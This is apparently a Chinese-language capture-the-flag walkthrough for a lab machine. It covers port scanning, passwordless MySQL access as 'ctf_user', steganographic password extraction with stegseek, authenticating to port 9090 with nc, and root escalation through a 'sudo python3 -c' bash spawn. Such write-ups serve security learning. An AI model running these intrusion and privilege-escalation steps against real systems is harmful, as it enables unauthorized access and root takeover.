nmap 端口扫描

22
80
3306
9090

访问 web 80

页显示错误和可能的用户 ctf_user

目录扫描,发现 phpinfo 信息其他无信息

尝试用 ctf_user 远程连接数据库,无密码登陆成功

mysql -h $IP -u ctf_user --skip-ssl

DBeaver 远程连接数据库

查到用户表,内有账号和md5密码值,不过这是网站的用户,没什么用

继续翻表,新闻表里有文字,提示“你已经走了很远了,但还有很远的路要走”

数据内容为 jpg 图片,导出为文件

拖入 010,可以看到内容分层,存在隐藏文件信息

stegseek imagen.jpg rockyou.txt

提取出隐藏文件,得到一个密码和提示

![[Pasted image 20250726215513.png]]

根据提示,nc 打通 9090 端口

1
echo -e "LOGIN whisper\nKEY whisper9090" | nc 10.0.2.16 9090

echo -e\n 解释为换行符。

ssh 登录到 whisper 用户成功,得到用户 flag

sudo -l 有 python3

sudo python3 -c 'import pty, os; os.execv("/bin/bash", ["bash"])' 提权成功

  • -c:表示后面跟着的是一个要执行的 Python 命令(code)。